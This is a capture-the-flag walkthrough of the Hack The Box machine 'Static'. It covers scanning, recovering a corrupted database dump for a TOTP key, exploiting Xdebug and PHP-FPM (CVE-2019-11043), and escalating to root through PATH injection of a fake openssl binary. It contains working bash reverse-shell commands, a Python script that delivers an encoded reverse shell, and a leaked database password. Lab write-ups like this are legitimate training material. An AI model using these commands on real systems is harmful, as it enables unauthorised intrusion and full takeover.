Enumeration
sudo nmap -sC -sS -sV -F 10.10.10.246 >scan.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-01 13:43 EET
Nmap scan report for 10.10.10.246
Host is up (0.11s latency).
Not shown: 98 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
| 256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_ 256 2d:43:bc:4e:b3:33:c9:82:4e🇩🇪b6:5e:10:ca:a7:c5 (ED25519)
8080/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.61 seconds
There is an http service at port 8080. It includes a robots.txt
.
We can access the uploads folder in robots.txt
http://10.10.10.246:8080/.ftp_uploads/.
[ ] db.sql.gz 2020-06-18 12:30 262
[TXT] warning.txt 2020-06-19 13:00 78
Binary files are being corrupted during transfer!!! Check if are recoverable. – warning.txt
Getting the foothold
We can get some gzip recovery tools to try to recover the db.sql.gz
file.
yay -S gzrt
gzrecover db.sql.gz
Now that it is recovered, we can see the default contents of the table:
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsignint a'n a)Co3 Nto_increment,sers name varchar(20) a'n a)Co, password varchar(40) a'n a)Co, totp varchar(16) a'n a)Co, primary key (idS iaA;
INSERT INTOrs ( id smaers name vpassword vtotp vaS iayALUESsma, prim'admin'im'd05nade22ae348aeb5660fc2140aec35850c4da997m'd0orxxi4c7orxwwzlo'
IN
I could have used the following tool in order to correctly repair it instead of play guessing. The gzrecover
recovered some part of the content without repairing it.
CREATE DATABASE static;
USE static;
CREATE TABLE users (
id smallint unsignint auto_increment,
name varchar(20),
password varchar(40),
totp varchar(16),
primary key (id)
);
INSERT INTO users (name, password, totp) values (
'admin',
'd05nade22ae348aeb5660fc2140aec35850c4da997m',
'd0orxxi4c7orxwwzlo',
);
We can login in http://10.10.10.246:8080/vpn/ (the other robots.txt
page) with admin:admin
credentials. We get prompted for an OTP (One Time Password). If we use a TOTP tool, such as Google Authenticator, we can add orxxi4c7orxwwzlo
as the key and use the number generated. I ignored the d0
start because password started the same and totp
column was at most 16 chars long.
After login in, we can input a file name for the OpenVPN file to be generated. We get the following error:
Cannot resolve host address: vpn.static.htb:1194
Let’s add the static.htb
and vpn.static.htb
to /etc/hosts
. As I’m using VPN with UDP for hackthebox, I’ll change to the TCP option.
We will need to configure the routing for the IPs that are listed in the page. We can use ip route
command for that:
sudo ip route add 172.20.0.10/24 dev tun9
After adding the routes, we can enter to the page by using the url. It is a phpinfo()
page. phpinfo
usually exposes some senstive information. In this case, we can see xdebug
, which is a php debugger plugin.
We can exploit the xdebug
with this repository by running:
./exploit-shell.py
And requesting with wget
to start the remote xdebug
session:
wget -q -O - "172.20.0.10/info.php?XDEBUG_SESSION_START=phpstorm --header 'X-Forwarded-For: 172.30.0.10'"
Where 172.30.0.10
is my ip inside the vpn.
After getting the xdebug
shell, we can call system
commands like:
system("bash -c 'bash -i >& /dev/tcp/172.30.0.10/6666 0>&1'")
This will upgrade the shell to a real one (you have to listen at port 6666). And we can get the user.txt from /home/user.txt
.
We can get the ssh key of www-data from /home/www-data/.ssh/id_rsa
.
ssh -i www-data.key www-data@172.20.0.10
Horizontal movement
Once we are in, we can see some configuration in /var/www/html/vpn
.
<?php
$servername = "db";
$username = "root";
$password = "2108@C00l";
$dbname = "static";
?>
But it seems like this password cannot be used to login as root.
We saw a PKI (Public Key Infrastructure) service running in a local ip. In the panel.php
file, there is a reference to that pki service.
<?php
require "header.php";
if($_SESSION['auth']!="GRANTED"){
session_destroy();
header("Location: index.php");
} else {
if(isset($_POST['cn'])){
$cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_POST['cn']);
header('Content-type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$cn.'.ovpn"');
$handle = curl_init();
$url = "http://pki/?cn=".$cn;
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($handle);
curl_close($handle);
echo $output;
die();
}
?>
There is some curl
going on, so we expect it to be an HTTP server at port 80. We can expose the port with ssh
:
ssh -L8080:192.168.254.3:80 -i www-data.key www-data@172.20.0.10
If we visit the page, we get the following:
batch mode: /usr/bin/ersatool create|print|revoke CN
If we use the post parameter cn
, we can generate those vpn files we already used: http://localhost:8080/?cn=a
The output from curl
is the following:
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 22:02:43 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP-FPM/7.1
<
batch mode: /usr/bin/ersatool create|print|revoke CN
Googling that PHP-FPM 7.1
leads us to a remote command execution vulnerability (CVE-2019-11043). We can use this tool to exploit it:
go get github.com/neex/phuip-fpizdam
go install github.com/neex/phuip-fpizdam
phuip-fpizdam http://localhost:8080/index.php
2021/11/02 00:09:30 Base status code is 200
2021/11/02 00:09:41 Status code 502 for qsl=1765, adding as a candidate
2021/11/02 00:09:49 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2021/11/02 00:09:57 Attack params found: --qsl 1755 --pisos 22 --skip-detect
2021/11/02 00:09:57 Trying to set "session.auto_start=0"...
2021/11/02 00:10:10 Detect() returned attack params: --qsl 1755 --pisos 22 --skip-detect <-- REMEMBER THIS
2021/11/02 00:10:10 Performing attack using php.ini settings...
2021/11/02 00:10:23 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2021/11/02 00:10:23 Trying to cleanup /tmp/a...
2021/11/02 00:10:25 Done!
Once this is done, there will be a new GET parameter a
which will be exploitable, allowing us to run any command runnable on the machine.
curl -G 'http://127.0.0.1:8080/index.php' --data-urlencode "a=/usr/bin/whoami"
www-data
Warning: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in /var/www/html/index.php on line 2
batch mode: /usr/bin/ersatool create|print|revoke CN
If we check for the interfaces (ifconfig
) of the current machine (not the one with pki), we see the local network where the pki service is. For that network, the machine is using 192.168.254.2
.
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.20.0.10 netmask 255.255.255.0 broadcast 172.20.0.255
ether 02:42:ac:14:00:0a txqueuelen 0 (Ethernet)
RX packets 7459 bytes 5112263 (5.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8906 bytes 1499359 (1.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.254.2 netmask 255.255.255.0 broadcast 192.168.254.255
ether 02:42:c0:a8:fe:02 txqueuelen 0 (Ethernet)
RX packets 5631 bytes 1056770 (1.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6156 bytes 4727496 (4.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 264 (264.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 264 (264.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
We can copy a netcat
binary to the machine through scp
:
scp -i www-data.key /usr/bin/nc www-data@172.20.0.10:/tmp/nc
In www-data, we can listen for the reverse shell with:
/tmp/nc -nlvp 6666
We will base64 + urlEncode the reverse shell. The a
parameter sometimes doesn’t work, so I will use the following exploit (to simplify the encoding and retrying):
import requests
import base64
import urllib.parse
target = "http://localhost:8080/index.php"
command = "bash -i >& /dev/tcp/192.168.254.2/6666 0>&1"
encoded = urllib.parse.quote_plus(base64.b64encode(command.encode()))
i = 0
while i < 10:
r = requests.get(f"{target}?a=/bin/sh+-c+'echo+-n+{encoded}+|+base64+-d+|+bash'")
if not r.text.startswith("batch mode:"):
print(r.text.splitlines()[0])
break
i += 1
if i == 10:
print("couldn't get response for command")
After running it, we will have the www-data user of the pki service machine.
Privilege escalation
In the pki machine, we can look for references to the ersatool
command.
www-data@pki:~$ find / -name '*ersa*' 2>/dev/null
/usr/src/ersatool.c
/usr/bin/ersatool
We can find the binary and the source code of ersatool
. In the source, there are two setuid(0)
calls: one when creating a CN and another one when printing. Also, when creating, it executes a command of some tool called EasyRSA
.
We could perform some path injection, but the EasyRSA
tool seems to be using its whole path. Although, if we investigate more in Github, we can see it requires an openssl
binary in your PATH
.
When building a CA, a number of new files are created by a combination of Easy-RSA and (indirectly) openssl.
In case I was not able to learn more about EasyRSA
, I could have used pspy
to analyze which commands were being called from the ersatool
.
openssl
binary, which would be executed as root when running the EasyRSA
tool (on CN creation):#!/bin/bash
chmod u+s /bin/bash
In order to transfer it to the machine, we can encode it as base64.
cat openssl.sh | base64
IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAo=
And now copy it to the pki machine in some writtable folder.
www-data@pki:~/html/uploads$ echo IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAo= | base64 -d >openssl
Make it executable for everyone.
chmod +x openssl
And now add the folder to the PATH
.
export PATH=/var/www/html/uploads:$PATH
We can now check that the malicious openssl
has been successfuly injected.
www-data@pki:~/html/uploads$ which openssl
/var/www/html/uploads/openssl
We can run ersatool
with the create option to run the injected openssl
script:
www-data@pki:~/html/uploads$ ersatool create test
And then we can check that /bin/bash
now has the suid
bit.
www-data@pki:~/html/uploads$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
Which will let us do:
www-data@pki:~/html/uploads$ /bin/bash -p
And we will get a root shell
References
gzip
recovery toolxdebug
exploit:- Public Key Infrastructure